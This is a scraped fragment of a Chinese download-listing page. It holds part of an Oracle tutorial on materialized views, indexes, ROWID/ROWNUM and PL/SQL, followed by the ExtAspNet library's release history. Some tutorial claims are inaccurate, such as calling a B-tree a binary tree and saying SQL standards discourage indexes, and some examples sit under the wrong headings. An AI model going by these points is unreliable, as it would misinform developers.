demand,在需要时刷新,根据后面设定的起始时间和时间间隔进行刷新,或者手动调用dbms_mview包中的过程刷新时再执行刷新。\n4.\t开始时间和间隔时间\n\t4和5即开始刷新时间和下次刷新的时间间隔。如:start with sysdate next sysdate+1\u002F1440表示马上开始,刷新间隔为1分钟。(与 on commit选项冲突)\n5.\t创建模式\n\tprimary key(默认):基于基表的主键创建\n\trowed:不能对基表执行分组函数、多表连结等需要把多个rowid合成一行的操作\n6.\t是否启用查询重写\n\t如果设置了初始化参数query_rewrite_enabled=true则默认就会启用查询重写。但是,数据库默认该参数为false。并且,不是什么时候都应该启用查询重写。所以,该参数应该设置为false,而在创建特定物化视图时,根据需要开启该功能。\n7.\t注意\n\t如果选择使用了上面第4,5选项,则不支持查询重写功能(原因很简单,所谓重写,就是将对基表的查询定位到了物化视图上,而4、5选项会造成物化视图上部分数据延迟,所以,不能重写)。\n\t例子\n--创建增量刷新的物化视图时应先创建存储的日志空间\n--在scott.emp表中创建物化视图日志\n create materialized view log on emp\n tablespace users with rowid;\n--开始创建物化视图\n--方式一\ncreate materialized view mv_emp\ntablespace users --指定表空间\nbuild immediate --创建视图时即生成数据\nrefresh fast --基于增量刷新\non commit --数据DML操作提交就刷新\nwith rowid --基于ROWID刷新\nas select * from emp\n--方式二\ncreate materialized view mv_emp2\ntablespace users --指定表空间\nrefresh fast --基于增量刷新\nstart with sysdate --创建视图时即生成数据\nnext sysdate+1\u002F1440 \u002F*每隔一分钟刷新一次*\u002F\nwith rowid --基于ROWID刷新\nas select * from emp\n--\u003Cem\u003E删除\u003C\u002Fem\u003E物化视图日志\ndrop materialized view mv_emp\n\n \n第七章\t索引\n一、\t概述\n索引是建立在表上的可选对象,设计索引的目的是为了提高查询的速度。但同时索引也会增加系统的负担,进行影响系统的性能。\n索引一旦建立后,当在表上进行DML操作时,Oracle会自动维护索引,并决定何时使用索引。\n索引的使用对用户是透明的,用户不需要在执行SQL\u003Cem\u003E语句\u003C\u002Fem\u003E时指定使用哪个索引及如何使用索引,也就是说,无论表上是否创建有索引,SQL\u003Cem\u003E语句\u003C\u002Fem\u003E的用法不变。用户在进行操作时,不需要考虑索引的存在,索引只与系统性能相关。\n\t索引的原理\n当在\u003Cem\u003E一个\u003C\u002Fem\u003E没有创建索引的表中查询符合某个条件的记录时,DBMS会顺序地逐条读取每个记录与查询条件进行匹配,这种方式称为全表扫描。全表扫描方式需要遍历整个表,效率很低。\n \n\t索引的类型\nOracle支持多种类型的索引,可以按列的多少、索引值是否唯一和索引数据的组织形式对索引进行分类,以满足各种表和查询条件的\u003Cem\u003E要\u003Cem\u003E求\u003C\u002Fem\u003E\u003C\u002Fem\u003E。\n\t单列索引和复合索引\n\tB树索引\n\t位图索引\n\t函数索引\n\t创建索引\nCREATE [UNIQUE] | [BITMAP] INDEX index_name\nON table_name([column1 [ASC|DESC],column2\n[ASC|DESC],…] | [express])\n[TABLESPACE tablespace_name]\n[PCTFREE n1]\n[STORAGE (INITIAL n2)]\n[NOLOGGING]\n[NOLINE]\n[NOSORT]\n\tUNIQUE:表示唯一索引,默认情况下,不使用该选项。\n\tBITMAP:表示创建位图索引,默认情况下,不使用该选项。\n\tPCTFREE:指定索引在数据块中的空闲空间。对于经常插入数据的表,应该为表中索引指定\u003Cem\u003E一个\u003C\u002Fem\u003E较大的空闲空间。\n\tNOLOGGING:表示在创建索引的过程中不产生任何重做日志信息。默认情况下,不使用该选项。\n\tONLINE:表示在创建或重建索引时,允许对表进行DML操作。默认情况下,不使用该选项。\n\tNOSORT:默认情况下,不使用该选项。则Oracle在创建索引时对表中记录进行排序。如果表中数据已经是按该索引顺序排列的,则可以使用该选项。\n二、\t单列索引和复合索引\n\u003Cem\u003E一个\u003C\u002Fem\u003E索引可以由\u003Cem\u003E一个\u003C\u002Fem\u003E或多个列组成。基于单个列所创建的索引称为单列索引,基于两列或多列所创建的索引称为多列索引。\n三、\tB树索引\nB树索引是Oracle数据库中最常用的一种索引。当使用CREATE INDEX\u003Cem\u003E语句\u003C\u002Fem\u003E创建索引时,默认创建的索引就是B树索引。B树索引就是一棵二叉树,它由根、分支节点和叶子节点三部分构成。叶子节点包含索引列和指向表中每个匹配行的ROWID值。叶子节点是\u003Cem\u003E一个\u003C\u002Fem\u003E双向链表,因此可以对其进行任何方面的范围扫描。\nB树索引中所有叶子节点都具有相同的深度,所以不管查询条件如何,查询速度基本相同。另外,B树索引能够适应各种查询条件,包括精确查询、模糊查询和比较查询。\n \n\t例子\n--创建B树索引,属于单列索引\ncreate index idx_emp_job on emp(job)\n--创建B树索引,属于复合索引\ncreate index idx_emp_nameorsal on emp(ename,sal)\n--创建唯一的B树索引,属于单列索引\ncreate unique index idx_emp_ename on emp(ename)\n--\u003Cem\u003E删除\u003C\u002Fem\u003E索引\ndrop index idx_emp_job\ndrop index idx_emp_nameorsal\ndrop index idx_emp_ename\n--如果表已存在大量的数据,需要规划索引段\ncreate index idx_emp_nameorsal on emp(ename,sal)\n pctfree 30 tablespace system\n四、\t位图索引\n在B树索引中,保存的是经排序过的索引列及其对应的ROWID值。但是对于一些基数很小的列来说,这样做并不能显著提高查询的速度。所谓基数,是指某个列可能拥有的不重复值的个数。比如性别列的基数为2(只有男和女)。\n因此,对于象性别、婚姻状况、政治面貌等只具有几个固定值的字段而言,如果要建立索引,应该建立位图索引,而不是默认的B树索引。\n\t例子\n--创建位图索引,单列索引\ncreate bitmap index idx_bm_job on emp(job)\n--创建位图索引,复合索引\ncreate bitmap index idx_bm_jobordeptno on emp(job,deptno)\n--\u003Cem\u003E删除\u003C\u002Fem\u003E位图索引\ndrop index idx_bm_job\ndrop index idx_bm_jobordeptno\n五、\t函数索引\n函数索引既可以使用B树索引,也可以使用位图索引,可以根据函数或表达式的结果的基数大小来进行选择,当函数或表达式的结果不确定时采用B树索引,当函数或表达式的结果是固定的几个值时采用位图索引。\n\t例子\n--合并索引\nalter index idx_emp_ename COALESCE\n六、\t并和重建索引\n表在使用一段时间后,由于用户不断对其进行更新操作,而每次对表的更新必然伴随着索引的改变,因此,在索引中会产生大量的碎片,从而降低索引的使用效率。有两种方法可以清理碎片:合并索引和重建索引。\n\t合并索引就是将B树叶子节点中的存储碎片合并在一起,从而提高存取效率,但这种合并并不会改变索引的物理组织结构。\n--创建B树类型的函数索引\ncreate index idx_fun_emp_hiredate on emp(to_char(hiredate,'yyyy-mm-dd'))\n--创建位图类型的函数索引\ncreate index idx_fun_emp_job on emp(upper(job))\n\n\t重建索引相当于\u003Cem\u003E删除\u003C\u002Fem\u003E原来的索引,然后再创建\u003Cem\u003E一个\u003C\u002Fem\u003E新的索引,因此,CREAT INDEX\u003Cem\u003E语句\u003C\u002Fem\u003E中的选项同样适用于重建索引。如果在索引列上频繁进行UPDATE和DELETE操作,为了提高空间的利用率,应该定期重建索引。\n七、\t管理索引的原则\n使用索引的目的是为了提高系统的效率,但同时它也会增加系统的负担,进行影响系统的性能,因为系统必须在进行DML操作后维护索引数据。\n在新的SQL标准中并不推荐使用索引,而是建议在创建表的时候用主键替代。因此,为了防止使用索引后反而降低系统的性能,应该遵循一些基本的原则:\n1.\t小表不需要建立索引。\n2.\t对于大表而言,如果经常查询的记录数目少于表中总记录数目的15%时,可以创建索引。这个比例并不绝对,它与全表扫描速度成反比。\n3.\t对于大部分列值不重复的列可建立索引。\n4.\t对于基数大的列,适合建立B树索引,而对于基数小的列适合建立位图索引。\n5.\t对于列中有许多空值,但经常查询所有的非空值记录的列,应该建立索引。\n6.\tLONG和LONG RAW列不能创建索引。\n7.\t经常进行连接查询的列上应该创建索引。\n8.\t在使用CREATE INDEX\u003Cem\u003E语句\u003C\u002Fem\u003E创建查询时,将最常查询的列放在其他列前面。\n9.\t维护索引需要开销,特别时对表进行插入和\u003Cem\u003E删除\u003C\u002Fem\u003E操作时,因此要限制表中索引的数量。对于主要用于读的表,则索引多就有好处,但是,\u003Cem\u003E一个\u003C\u002Fem\u003E表如果经常被更改,则索引应少点。\n10.\t在表中插入数据后创建索引。如果在装载数据之前创建了索引,那么当插入每行时,Oracle都必须更改每个索引。\n八、\tROWID和ROWNUM\n1.\tROWID\nrowid是\u003Cem\u003E一个\u003C\u002Fem\u003E伪列,是用来确保表中行的唯一性,它并不能指示出行的物理位置,但可以用来定位行。rowid是存储在索引中的一组既定的值(当行确定后)。我们可以像表中普通的列一样将它选出来, 利用rowid是访问表中一行的最快方式。rowid的是基于64位编码的18个字符显示(数据对象编号(6)+\u003Cem\u003E文件\u003C\u002Fem\u003E编号(3) +块编号(6)+行编号(3)=18位)\nselect rowid from emp\n\tROWID的使用\n--快速\u003Cem\u003E删除\u003C\u002Fem\u003E重复的记录\ndelete from temp t where rowid not in(\n select max(rowid) from temp \n where t.id=id and t.name=name and t.sal = sal\n)\n2.\tROWNUM\nROWNUM是\u003Cem\u003E一个\u003C\u002Fem\u003E序列,是oracle数据库从数据\u003Cem\u003E文件\u003C\u002Fem\u003E或缓冲区中读取数据的顺序。它取得第一条记录则rownum值为1,第二条为2,依次类推。\nselect rownum,emp.* from emp\n\tROWID的使用\n--取前3条记录\nselect * from emp where rownum\u003C=3--方式一\nselect * from emp where rownum!=4--方式二\n--分页\nselect * from emp where empno not in(\n select empno from emp where rownum\u003C5--方式一 \n) and rownum \u003C4\n \n第八章\tPL\u002FSQL编程\n一、\t介绍\nPL\u002FSQL是oracle在标准sql语言上的扩展,PL\u002FSQL不仅允许嵌入sql语言,还可以定义变量和常量,允许使用例外处理各种错误,这样使它的功能变得更加强大。\nPL\u002FSQL也是一种语言,叫做过程化sql语言(procedural language\u002Fsql),通过此语言可以实现复杂功能或者复杂的计算。\n\t优点\n1.\t提高应用程序的运行性能\n2.\t模块化的设计思想\n3.\t减少网络传输量\n4.\t提高安全性\n\t缺点\n1.\t可移植性差\n2.\t违反MVC设计模式\n3.\t无法进行面向对象编程\n4.\t无法做成通用的业务逻辑框架\n5.\t代码可读性差,相当难维护\n\t分类\n \n二、\tPL\u002FSQL基础\n1.\t编写规范\n1)\t注释\n--单行注释\n\u002F*块注释*\u002F\n2)\t标识符的命名规范\n\t定义变量:建议用v_作为前缀v_price\n\t定义常量:建议用c_作为前缀c_pi\n\t定义游标:建议用_cursor作为后缀emp_cursor\n\t定义例外:建议用e_作为前缀e_error\n2.\t块结构\nPL\u002FSQL块由三个部分组成:定义部分、执行部分、例外处理部分\nDeclare\n\u002F*\n定义部分(可选):定义常量、变量、游标、例外,复杂数据类型\n*\u002F\nbegin\n\u002F*\n 执行部分(必须):要执行的PL\u002FSQL\u003Cem\u003E语句\u003C\u002Fem\u003E和SQL\u003Cem\u003E语句\u003C\u002Fem\u003E\n*\u002F\nexception\n\u002F*例外部分(可选):处理运行各种错误*\u002F\nend\n案例一\t:只定义执行部分\nbegin\n\u002F*\ndbms_output是oracle提供的包(类似java开发包)\n该包包含一些过程,put_line就是其\u003Cem\u003E一个\u003C\u002Fem\u003E过程\n*\u002F\ndbms_output.put_line('HELLO WORLD'); --控制台输出\nend;\n案例二\t:定义声明部分和执行部分\ndeclare\n --声明变量\n v_name varchar2(20);\n v_sal number(7,2);\nbegin\n --执行查询\n select ename,sal into v_name,v_sal \n from emp where rownum=1;\n --控制台输出\n dbms_output.put_line('用户名:' || v_name);\n dbms_output.put_line('工资:' || v_sal);\nend;\n案例三\t:定义声明部分、执行部分和例外部分\ndeclare\n --声明变量\n v_name varchar2(20);\n v_sal number(7,2);\nbegin\n --执行查询,条件中的&表示从控制接受数据\n select ename,sal into v_name,v_sal \n from emp where empno=&no;\n --控制台输出\n dbms_output.put_line('用户名:' || v_name);\n dbms_output.put_line('工资:' || v_sal);\nexception\n--例外处理(no_data_found)\n when no_data_found then\n dbms_output.put_line('执行查询没有结果');\nend;\n3.\t预定义例外\n1)\tcase_not_found预定义例外\n在开发pl\u002Fsql块中编写case\u003Cem\u003E语句\u003C\u002Fem\u003E时,如果在when子句中没有包含必须的条件分支,就会触发case_not_found例外。\n2)\tcursor_already_open预定义例外\n当重新打开已经打开的游标时,会隐含的触发cursor_already_open例外。\n3)\tdup_val_on_index预定义例外\n在唯一索引所对应的列上插入重复的值时,会隐含的触发例外\n4)\tinvalid_cursorn预定义例外\n当试图在不合法的游标上执行操作时,会触发该例外\n5)\tinvalid_number预定义例外\n当输入的数据有误时,会触发该例外\n6)\tno_data_found预定义例外\n当执行select into没有返回行,就会触发该例外\n7)\ttoo_many_rows预定义例外\n当执行select into\u003Cem\u003E语句\u003C\u002Fem\u003E时,如果返回超过了一行,则会触发该例外\n8)\tzero_divide预定义例外\n当执行2\u002F0\u003Cem\u003E语句\u003C\u002Fem\u003E时,则会触发该例外\n9)\tvalue_error预定义例外\n当在执行赋值操作时,如果变量的长度不足以容纳实际数据,则会触发该例外value_error\n10)\tothers\n4.\t变量类型分类\n在编写PL\u002FSQL时,可以定义变量和常量,常用的类型主要有:\n\t标量类型(scalar)\n\t复合类型(composite)\n\t参照类型(reference)\n\tlob(large object)\n5.\t标量类型:常用类型\ndeclare\n--定义\u003Cem\u003E一个\u003C\u002Fem\u003E变长字符串\nv_name varchar2(20);\n--定义小数,并赋值\nv_sal number(7,2) :=9.8;\n--定义整数\nv_num number(4);\n--定义日期\nv_birthday date;\n--定义布尔类型,不能为空,初始值为false\nv_flg boolean not null default false;\n--使用%type类型\nv_job emp.job%type;\nbegin\n v_flg := true;\n v_birthday :=sysdate;\n dbms_output.put_line('当前时间:' || v_birthday);\nend;\n6.\t复合类型:可以存放多个值。主要包括PL\u002FSQL记录、PL\u002FSQL表、嵌入表和varray这四种类型\n记录类型:类似于c中的结构体\ndeclare\n --定义记录类型\n type emp_record_type is record(\n empno emp.empno%type,\n ename emp.ename%type,\n sal emp.sal%type\n );\n --定义变量引用记录类型\n v_record emp_record_type;\nbegin\n --使用记录类型\n select empno,ename,sal into v_record from emp where rownum=1;\n --控制台输出\n dbms_output.put_line('雇员编号:' || v_record.empno);\n dbms_output.put_line('雇员姓名:' || v_record.ename);\n dbms_output.put_line('雇员工资:' || v_record.sal);\nend;\n表类型:类似于java语言中的数组\ndeclare\n --声明表类型\n type emp_table_type is table of varchar2(20)\n index by PLS_INTEGER;--表示表按整数来排序\n v_enames emp_table_type;--定义变量引用表类型\nbegin\n select ename into v_enames(0) from emp where rownum=1;\n select ename into v_enames(1) from emp where empno=7499;\n select ename into v_enames(2) from emp where empno=7698;\n --输出\n dbms_output.put_line('下标0:' || v_enames(0));\n dbms_output.put_line('下标1:' || v_enames(1));\n dbms_output.put_line('下标2:' || v_enames(2));\nend;\nvarray类型:可变长数组\ndeclare\n --定义varray类型\n type varray_list is varray(20) of number(4);\n --定义变量引用varray类型\n v_list varray_list:=varray_list(7369,7499,7566);\nbegin\n --for i in v_list.first..v_list.last\n for i in 1..v_list.count\n loop\n dbms_output.put_line(v_list(i));\n end loop;\nend;\nPL\u002FSQL集合方法\n1)\texists():用于确定特定集合元素是否存在\n2)\tcount:用于返回集合变量的元素总个数\n3)\tlimit:用于返回varray变量所允许的最大元素个数\n4)\tfirst:用于返回集合变量中的\u003Cem\u003E一个\u003C\u002Fem\u003E元素的下标\n5)\tlast:用于返回集合变量中最后\u003Cem\u003E一个\u003C\u002Fem\u003E元素的下标\n6)\tprior():返回当前元素前\u003Cem\u003E一个\u003C\u002Fem\u003E元素的下标\n7)\tnext():返回当前元素后\u003Cem\u003E一个\u003C\u002Fem\u003E元素的下标\n8)\textend:为集合变量添加元素,此方法适合用于嵌套表和varray\n9)\ttrim:从集合变量尾部\u003Cem\u003E删除\u003C\u002Fem\u003E元素,此方法适用于嵌套表和varray\n10)\tdelete:从集合变量中\u003Cem\u003E删除\u003C\u002Fem\u003E特定的元素,此方法适用于嵌套表和index-by表\n7.\t参照类型:类似c语言中的指针,oracle的游标\n三、\tPL\u002FSQL控制\u003Cem\u003E语句\u003C\u002Fem\u003E\n1.\t条件分支\u003Cem\u003E语句\u003C\u002Fem\u003E\n1)\tif—then\ndeclare\n --声明变量\n v_empno emp.empno%type;\n v_sal emp.sal%type;\nbegin\n --根据雇员编号查询工资\n select empno,sal into v_empno,v_sal from emp where empno=&no;\n --如果工资小于2000就加100\n if v_sal\u003C2000\n then\n --工资加100\n update emp set sal = sal+100 where empno=v_empno;\n --提交\n commit;\n end if;\nend;\n2)\tif—then—else\ndeclare\n --声明变量\n v_loginname varchar2(10);\n v_password varchar2(10);\nbegin\n --从控制台接收数据\n v_loginname := '&ln';\n v_password := '&pw';\n if v_loginname = 'admin' and v_password = '123456'\n then\n dbms_output.put_line('用户登录成功!');\n else\n dbms_output.put_line('用户登录失败!');\n end if;\nend;\n3)\tif—then—elsif—else\ndeclare\n --声明变量\n v_empno emp.empno%type;\n v_job emp.job%type;\nbegin\n --根据雇员编号查询职位\n select empno,job into v_empno,v_job from emp where empno=&no;\n \u002F*如果雇员所属职位是manager工资加1000\n 职位是salesman工资加500\n 其他职位加200\n *\u002F\n if v_job = 'MANAGER' then\n --MANAGER职位工资加1000\n update emp set sal = sal+1000 where empno=v_empno;\n elsif v_job = 'SALESMAN' then\n --SALESMAN职位工资加500\n update emp set sal = sal+500 where empno=v_empno;\n else\n --其他职位工资加200\n update emp set sal = sal+200 where empno=v_empno;\n end if;\n --提交\n commit;\nend;\n4)\tcase\ndeclare\n --声明变量\n v_mark number(4);\n v_outstr varchar2(40);\nbegin\n --从控制台接收成绩\n v_mark := &m;\n case\n when v_mark=90 then\n v_outstr := '优秀';\n when v_mark=80 then\n v_outstr := '良好';\n when v_mark=70 then\n v_outstr := '中等';\n when v_mark=60 then\n v_outstr := '及格';\n when v_mark=0 then\n v_outstr := '不及格';\n else\n v_outstr := '成绩输入有误';\n end case;\n --控制台输出\n dbms_output.put_line(v_outstr); \nend;\n2.\t循环\u003Cem\u003E语句\u003C\u002Fem\u003E\n1)\tloop\nLOOP 要执行的\u003Cem\u003E语句\u003C\u002Fem\u003E; \nEXIT WHEN \u002F*条件满足,退出循环\u003Cem\u003E语句\u003C\u002Fem\u003E*\u002F\nEND LOOP; \n其中:EXIT WHEN 子句是必须的,否则循环将无法停止。\ndeclare\n v_num number(4):=1;\nbegin\n --从控制台接收数据并插入到account表中\n loop\n insert into account values(v_num,'&name');\n exit when v_num =10;\n v_num :=v_num+1;\n end loop;\nend;\n2)\twhile\nWHILE LOOP要执行的\u003Cem\u003E语句\u003C\u002Fem\u003E;END LOOP; \n其中: \n\t循环\u003Cem\u003E语句\u003C\u002Fem\u003E执行的顺序是先判断的真假,如果为真则循环执行,否则退出循环 \n\t在WHILE循环语","createTime":"2017-05-06 20:26:52","dataReportQuery":"spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-2-9835317-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-2-9835317-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default","dataReportClick":"{\"mod\":\"popu_645\",\"index\":\"2\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fzhangguo5\u002F9835317\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-2-9835317-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","dataReportView":"{\"mod\":\"popu_645\",\"index\":\"2\",\"dest\":\"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fzhangguo5\u002F9835317\",\"strategy\":\"2~default~OPENSEARCH~Rate\",\"extra\":\"{\\\"utm_medium\\\":\\\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-2-9835317-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\\\",\\\"dist_request_id\\\":\\\"1714006244188_80349\\\"}\",\"spm\":\"1035.2023.3001.6557\"}","type":"download"},{"url":"https:\u002F\u002Fdownload.csdn.net\u002Fdownload\u002Fsuper_zhaowenke\u002F2190657","title":"ExtAspNet v2.2.1 (2009-4-1) 值得一看","desc":"ExtAspNet v2.2.1\n\t\nExtAspNet是一组专业的Asp.net控件库,拥有原生的AJAX支持和丰富的UI效果,\n目标是创建没有JavaScript,没有CSS,没有UpdatePanel,没有WebServices的Web应用程序。\n\n支持的浏览器: IE 7.0+, Firefox 3.0+, Chrome 2.0+, Opera 9.5+, Safari 3.0+\n\n注:ExtAspNet基于一些开源的程序ExtJS, HtmlAgilityPack, Nii.JSON, YUICompressor。\n\n示例: http:\u002F\u002Fextasp.net\u002F\n开源: http:\u002F\u002Fextaspnet.codeplex.com\u002F\n博客: http:\u002F\u002Fsanshi.cnblogs.com\u002F\n邮箱: sanshi.ustc@gmail.com\n\n\n发布历史:\n\n+2010-03-28 v2.2.1\n\t+为TabStrip的GetAddTabReference函数增加重载方法,以便指定Tab的图标(feedback:mmdcup)。 \n\t\t-修正此函数通过PageContext.RegisterStartupScript调用时不能正确显示Icon的BUG(feedback:zhaowenke)。\n\t-修正basic\u002Fhello.aspx示例在单独浏览器打开后,不能弹出对话框的BUG。\n\t-隐藏示例首页最外层RegionPanel的边框ShowBorder=\"false\"。\n\t+集成Extjs最新版本v3.1.1。\n\t\t-增加\u003Cem\u003E一个\u003C\u002Fem\u003E新的Theme - Access。\n\t\t-修正了Firefox下Zoom In\u002FOut时页面消失的BUG。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003EPanel的EnableLightBackgroundColor属性,同时EnableBackgroundColor只支持Blue和Gray两种Theme。\n\n\n\n+2010-01-31 v2.2.0\n\t-使得Asp.net的控件ImageButton具有和Asp.net的Button控件类似的行为(Ajax提交)(feedback:261629698)。\n\t+TabStrip增加GetAddTabReference和GetRemoveTabReference\u003Cem\u003E两个\u003C\u002Fem\u003E函数,用来向TabStrip控件动态增加\u003Cem\u003E删除\u003C\u002Fem\u003ETab。\n\t\t-增加示例tabstrip\u002Ftabstrip_addtab.aspx。\n\t-重构了示例网站的架构,目前只有一层IFrame结构。\n\t-为TabStrip增加EnableTabCloseMenu属性,是否启用右键菜单,可用来关闭当前Tab和所有其他Tab。\n\t-为NumberBox增加DecimalPrecision属性,用来控制小数点后的位数(需要设置NoDecimal=\"false\")(feedback:zqmars)。\n\t-Window控件更新。\n\t\t-关闭按钮默认直接关闭,不会弹出确认对话框。\n\t\t-GetConfirmFormModifiedHideReference的函数中的ConfirmFormModified简化为Confirm,所以此函数更名为GetConfirmHideReference。\n\t\t-增加\u003Cem\u003E两个\u003C\u002Fem\u003E属性EnableConfirmOnClose(默认false),CloseAction(Hide, HideRefresh, HidePostBack)。\n\t\t-修正EnableMaximize属性不能使Window最大化的BUG,修正了双击标题栏不能最大化的BUG。\n\t-\u003Cem\u003E删除\u003C\u002Fem\u003EButton控件的SystemIcon属性,比如以前这样定义SystemIcon=\"Close\",现在需要这样定义Icon=\"SystemClose\"。\n\t-WindowPosition默认居中,而不是黄金分割位置。\n\t+Button, Window等控件弹出位置属性的变化。\n\t\t-Window的Target属性由字符串类型变为枚举类型,注意更新以前的代码:Target=\"_self\" -\u003E Target=\"Self\", Target=\"_parent\" -\u003E Target=\"Parent\"。\n\t\t-MenuButton, LinkButton, Button, LinkButtonField的ConfirmTarget属性由字符串变为枚举类型,可以取三个枚举值Self, Parent, Top。\n\t\t-Confirm.GetShowReference的最后\u003Cem\u003E一个\u003C\u002Fem\u003E参数target变为枚举类型。\n\t\t-Alert.GetShowReference中的showInParent参数也变为Target枚举类型。\n\t\t-MenuButton, LinkButton, Button, LinkButtonField增加ValidateTarget用来控制表单验证失败时提示对话框的显示位置。\n\n\n\n+2010-01-06 v2.1.9\n\t-集成Extjs最新版本v3.1.0。\n\t-修正灰色皮肤的CSS问题。\n\t-修正Grid的列名中不能包含中文字符的BUG(feedback:davidwen)。\n\t-为Web.config和PageManager增加属性AjaxTimeout(单位秒,默认30秒)。\n\t-修正了在Grid的PageIndexChange事件中不能获取SelectedRowIndexArray属性的BUG(feedback:Violet)。\n\t-Button控件将不再自动拥有display:inline属性,如果希望\u003Cem\u003E两个\u003C\u002Fem\u003E按钮在一行显示,请为第\u003Cem\u003E一个\u003C\u002Fem\u003E按钮设置CssStyle=\"float:left;\"属性。\n\t-修正了弹出菜单的位置在Firefox下不正确的BUG(feedback:eroach)。\n\t-为TriggerBox和TwinTriggerBox增加EnableEdit属性。\n\t-使用Hidden来显示隐藏ExtAspNet控件,而不是使用Visible属性(Visible目前设置为只读属性)。\n\t-使用Hidden控制Window控件的显示隐藏,Popup已经标记为Obsolete属性。\n\t-Window的实例方法GetCloseReference等以及ActiveWindow的静态方法GetCloseReference等,其中的Close全部改为Hide。\n\t-增加TabStrip中Tab控件可关闭属性EnableClose(默认为false)以及\u003Cem\u003E两个\u003C\u002Fem\u003E方法GetShowReference和GetHideReference(feedback:anson)。\n\t-修正绑定到Tree的XMLDocument中Icon属性映射错误(feedback:nopnop9)。\n\t-修正HtmlEditor不能编辑的BUG(feedback:TheBox)。\n\t-修正IE下有时会出现空白页面的情况(feedback:olivia919)。\n\t\n\t\n\n+2009-12-06 v2.1.8\n\t-修正了使用IFrame的Window关闭后不能再次打开的BUG(feedback:alexa99)。\n\t-修正了IE下Grid中的\u003Cem\u003E一个\u003C\u002Fem\u003EJS问题(feedback:lqm4108)。\n\t-修正Alert消息中引号未编码导致的JS错误(feedback:sun1299shine)。\n\t+集成extjs3.0.3。\n\t\t-修正弹出对话框的宽度计算错误(会保持最小的状态)。\n\t\t-增加新的皮肤Gray。\n\t-为示例工程添加改变语言和皮肤的下拉列表。\n\t-为PageContext增加静态函数Refresh,在切换语言和皮肤时使用。\t\n\n\n\n+2009-12-01 v2.1.7\n\t-增加示例(iframe\u002Fparent_postback_run3.aspx),如何通过简单的Javascript代码回发父页面(feedback:eroach)。\n\t-修正一些书写错误(feedback:bmck)。\n\t-从Region控件中\u003Cem\u003E删除\u003C\u002Fem\u003ESplitColor属性,增加CollapseMode, EnableSplitTip, SplitTip, CollapsibleSplitTip属性(feedback:bmck)。\n\t-BorderPanel更名为RegionPanel。\n\t-DropDownList拥有MarkInvalid方法(feedback:sun1299shine)。\n\t-增加中国的省市县三级联动示例(data\u002Fshengshixian.aspx)(feedback:Blues T)。\n\t-修正了使用IFrameUrl的Tab在切换过程中会重复加载的问题,这是\u003Cem\u003E一个\u003C\u002Fem\u003E在v2.1.6引入的问题(feedback:eroach)。\n\t-修正了启用AutoPostBack的Grid,其RowClick会覆盖LinkButtonField, HyperLinkField, CheckBoxField的点击事件(feedback:yymaoji)。\n\t\n\t\n\t\n+2009-11-26 v2.1.6\n\t+修正动态创建Grid列的BUG(feedback:gxpan)。\n\t\t-增加示例(data\u002Fgrid_dynamic_columns.aspx)。\n\t-修正Form不能自适应浏览器大小的改变(feedback:kaywood)(WorkItem#6309)。\n\t-增加重载方法Alert.Show(message, title, icon)(feedback:TheBox)(WorkItem#6353)。\n\t-为容器控件(比如Panel,Region,Tab等)增加AJAX属性IFrameUrl(feedback:BluesT)。\n\t-重新设计模拟树的下拉列表的实现,避免选中某项后的闪烁。\n\t\t\t\n\n\n+2009-11-21 v2.1.5\n\t+Tree优化。\n\t\t-修正Expanded项和Checked项的状态在回发改变后不能保持的BUG。\n\t\t-GetNodeById更名为FindNode,保持和FindControl一致命名。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003ECheckedNodeIDArray属性,增加GetCheckedNodes和GetCheckedNodeIDs函数。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003EExpandedNodeIDArray属性,增加GetExpandedNodes和GetExpandedNodeIDs函数。\n\t\t-增加示例(data\u002Ftree_select_run.aspx),如何选中当前节点的所有子节点(feedback:wjl_wjl520)。\n\t\t+TreeNode的属性NodeId被重命名为NodeID,这是ExtAspNet中的\u003Cem\u003E一个\u003C\u002Fem\u003E命名约定。\n\t\t\t-同时更名的还有GridColumn的ColumnId-\u003EColumnID,GetColumnId-\u003EGetColumnID。\n\t\t\t-Grid1.Columns.FindColumnById函数被Grid1.FindColumn所替代。\n\t\t-为TreeCheckEventArgs,TreeExpandEventArgs,TreeCommandEventArgs增加Node属性。\n\t-为所有控件增加Focus(覆盖Control默认的Focus函数)和GetFocusReference函数。\n\t-增加示例(other\u002Fcustom_postback.aspx)(feedback:thebox)。\n\t\t-如何自定义Javascript脚本和C#处理函数来响应键盘事件。\n\t-为Tree增加AutoLeafIdentification属性。\n\t\t-增加示例(tree_auto_leaf_identification.aspx)(feedback:wdrabbit)。\n\t\n\t\n\n+2009-11-17 v2.1.4\n\t-修正Window的关闭按钮提示信息一直是中文的BUG(feedback:thebox)。\n\t-部分ExtAspNet控件的设计时支持(会在后续版本中逐步完善)。\n\t-v0.2beta2版本中关于PersistChildren(true)的描述有误,这个是设计时属性,和运行时是否保持状态没有关系。\n\t-修正CheckBox控件的CheckedChanged事件会被触发两次的BUG(Data PostBack-\u003EAutoPostBack, Event PostBack-\u003EEnablePostBack)。\n\t-为TextBox,TextArea,DatePicker,NumberBox,TriggerBox等控件增加AutoPostBack属性(feedback:dk3214)。\n\t+为表单字段增加RequiredMessage,MaxLengthMessage,MinLengthMessage属性,用于指定验证失败时提示信息。\n\t\t-为空则使用默认的提示信息,默认的提示信息支持多语言,建议一般情况下使用默认信息。\n\t+为表单字段增加MarkInvalid和GetMarkInvalidReference函数(feedback:sun1299shine)。\n\t\t-增加示例:form\u002Fform_validate.aspx\n\t\n\t\n\n+2009-10-19 